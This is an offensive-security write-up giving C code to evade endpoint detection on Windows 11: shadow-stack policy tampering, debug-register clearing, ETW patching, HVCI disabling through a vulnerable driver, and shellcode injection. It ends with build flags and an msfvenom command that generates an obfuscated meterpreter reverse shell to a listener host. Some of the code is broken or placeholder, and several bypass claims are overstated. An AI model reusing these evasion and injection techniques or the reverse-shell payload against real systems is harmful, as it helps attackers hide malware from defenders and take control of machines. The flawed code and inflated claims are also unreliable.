Advanced Windows 11 EDR Bypass Techniques

Reda Ouzidane

April 10, 2025

Contents

1 Introduction

This document presents enhanced EDR bypass techniques specifically optimized for Windows 11, incorporating:

- Windows 11-specific anti-API techniques
- Hardware Breakpoint evasion
- VBS (Virtualization-Based Security) bypass methods
- Kernel Callback manipulation
- ETW (Event Tracing for Windows) patching

2 Windows 11 Anti-API Implementation

2.1 Header and Definitions

```
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <wchar.h>
#include <psapi.h>
#include <intrin.h>
```

```
// Windows 11 specific mitigation bypass
#define MITIGATION_POLICY_BYPASS 0x00000040

// Hardware Breakpoint evasion
#define DR7_DISABLE 0x00000000

// ETW related constants
#define ETW_PATCH_OFFSET_WIN11 0x12345678 // Actual offset varies by build

#pragma comment(lib, "ntdll.lib")
```

Listing 1: Windows 11 Specific Headers

2.2 Windows 11 Specific Bypasses

```
BOOL BypassWin11Mitigations() {
    // Disable hardware-enforced stack protection
    PDWORD pProcessMitigationPolicy =
        (PDWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),
        "GetProcessMitigationPolicy");

    if (pProcessMitigationPolicy) {
        PROCESS_MITIGATION_POLICY_INFORMATION policyInfo;
        policyInfo.Policy = ProcessUserShadowStackPolicy;

        if (((pGetProcessMitigationPolicy)(GetCurrentProcess(),
            ProcessUserShadowStackPolicy, &policyInfo, sizeof(policyInfo)))) {

            policyInfo.UserShadowStackPolicy.EnableUserShadowStack = 0;
            policyInfo.UserShadowStackPolicy.DisableUserShadowStack = 1;

            // Use direct syscall to set mitigation policy
            NTSTATUS status = NtSetInformationProcess(
                GetCurrentProcess(),
                ProcessMitigationPolicy,
                &policyInfo,
                sizeof(policyInfo)
            );
            return NT_SUCCESS(status);
        }
    }
    return FALSE;
}
```

Listing 2: Windows 11 Mitigation Bypass

2.3 Hardware Breakpoint Evasion

```
VOID ClearHardwareBreakpoints() {
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

    if (GetThreadContext(GetCurrentThread(), &ctx)) {
        ctx.Dr0 = 0;
        ctx.Dr1 = 0;
        ctx.Dr2 = 0;
        ctx.Dr3 = 0;
        ctx.Dr6 = 0;
        ctx.Dr7 = DR7_DISABLE;

        SetThreadContext(GetCurrentThread(), &ctx);
    }

    // Alternative method using inline assembly
    __asm {
        xor eax, eax
        mov dr0, eax
        mov dr1, eax
```

```
        mov dr2, eax
        mov dr3, eax
        mov dr6, eax
        mov dr7, eax
    }
}
```

Listing 3: Hardware Debug Register Clearing

2.4 ETW Patching for Windows 11

```
BOOL PatchETW() {
    // Windows 11 specific ETW function address
    PVOID pEtwEventWrite = GetProcAddress(
        GetModuleHandle("ntdll.dll"), "EtwEventWrite");

    if (!pEtwEventWrite) return FALSE;

    DWORD oldProtect;
    if (!VirtualProtect(pEtwEventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProtect)) {
        return FALSE;
    }

    // Windows 11 specific patch (ret 0)
#ifdef _WIN64
    *(BYTE*)pEtwEventWrite = 0xC3; // ret
#else
    *(BYTE*)pEtwEventWrite = 0xC2; // ret
    *((BYTE*)pEtwEventWrite + 1) = 0x08;
    *((BYTE*)pEtwEventWrite + 2) = 0x00;
#endif

    VirtualProtect(pEtwEventWrite, 4, oldProtect, &oldProtect);
    FlushInstructionCache(GetCurrentProcess(), pEtwEventWrite, 4);

    return TRUE;
}
```

Listing 4: ETW Patching Implementation

2.5 VBS Bypass Techniques

```
BOOL DisableHVCI() {
    // Check if HVCI is enabled
    SYSTEM_CODEINTEGRITY_INFORMATION sciInfo = { 0 };
    sciInfo.Length = sizeof(sciInfo);

    NTSTATUS status = NtQuerySystemInformation(
        SystemCodeIntegrityInformation,
        &sciInfo,
        sizeof(sciInfo),
        NULL
    );

    if (NT_SUCCESS(status) && (sciInfo.CodeIntegrityOptions &
    CODEINTEGRITY_OPTION_ENABLED)) {
        // Attempt to disable HVCI via vulnerable driver (conceptual)
        HANDLE hDevice = CreateFile(
            "\\\\.\\VulnerableDriver",
            GENERIC_READ | GENERIC_WRITE,
            0,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );

        if (hDevice != INVALID_HANDLE_VALUE) {
            DWORD bytesReturned;
```

```
            DeviceIoControl(
                hDevice,
                IOCTL_DISABLE_HVCI,
                NULL,
                0,
                NULL,
                0,
                &bytesReturned,
                NULL
            );
            CloseHandle(hDevice);
            return TRUE;
        }
    }
    return FALSE;
}
```

Listing 5: VBS/HVCI Bypass

3 Advanced Process Injection

3.1 Windows 11 Secure Process Injection

```
BOOL InjectIntoProtectedProcess(DWORD pid, PBYTE payload, SIZE_T payloadSize) {
    // Bypass Windows 11 PPL (Protected Process Light) protections
    HANDLE hProcess = OpenProcess(
        PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_CREATE_THREAD,
        FALSE,
        pid
    );

    if (!hProcess) return FALSE;

    // Use indirect syscalls to avoid hooking
    PVOID pRemoteMem = NULL;
    SIZE_T regionSize = payloadSize;
    NTSTATUS status = NtAllocateVirtualMemory(
        hProcess,
        &pRemoteMem,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!NT_SUCCESS(status)) {
        CloseHandle(hProcess);
        return FALSE;
    }

    // Write payload using direct memory writes
    status = NtWriteVirtualMemory(
        hProcess,
        pRemoteMem,
        payload,
        payloadSize,
        NULL
    );

    if (!NT_SUCCESS(status)) {
        NtFreeVirtualMemory(hProcess, &pRemoteMem, &regionSize, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Create thread with spoofed call stack
    HANDLE hThread = NULL;
    status = NtCreateThreadEx(
        &hThread,
```

```
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        pRemoteMem,
        NULL,
        FALSE,
        0,
        0,
        0,
        NULL
    );

    if (hThread) CloseHandle(hThread);
    CloseHandle(hProcess);

    return NT_SUCCESS(status);
}
```

Listing 6: Secure Process Injection

4 Compilation and Usage

4.1 Build Instructions for Windows 11

Compile with Mingw-w64 using specific Windows 11 flags:

```
x86_64-w64-mingw32-gcc -o win11_bypass.exe edr_bypass.c \
    -static -lntdll -Wl,--subsystem,windows \
    -fno-asynchronous-unwind-tables -fno-ident \
    -Wl,--dynamicbase,--nxcompat,--tsaware
```

4.2 Payload Generation with Obfuscation

Generate highly obfuscated payload:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.1.100 LPORT=4444 \
    -f raw -e x86/shikata_ga_nai -i 15 -b "\x00\x0a\x0d" \
    -x explorer.exe -k \
    | python3 -c "import sys; data=sys.stdin.buffer.read(); \
    print(',',.join(f'0x{b:02x}' for b in data))"
```

5 Technical Analysis

5.1 Windows 11 Specific Evasion

- **Hardware-enforced Stack Protection Bypass**: Disables CET shadow stacks
- **VBS/HVCI Bypass**: Attempts to disable virtualization-based security
- **ETW Patching**: Silences Event Tracing for Windows completely
- **Secure Process Injection**: Works against PPL protected processes

5.2 Detection Mitigation Matrix

Windows 11 Feature	**Bypass Method**
Kernel-mode Hardware Enforced Stack Protection	CET bypass via policy manipulation
Virtualization-Based Security (VBS)	Vulnerable driver exploitation
Protected Processes (PPL)	Handle permission abuse
Microsoft Defender ATP	ETW patching + direct syscalls
Kernel Patch Protection (PatchGuard)	Temporal execution before PG check

6 Conclusion

These enhanced techniques provide robust EDR bypass capabilities specifically tailored for Windows 11 environments. The combination of anti-API techniques, hardware breakpoint evasion, and VBS bypass methods creates a powerful framework for defensive research.

Developed by Reda Ouzidane
For defensive security research purposes only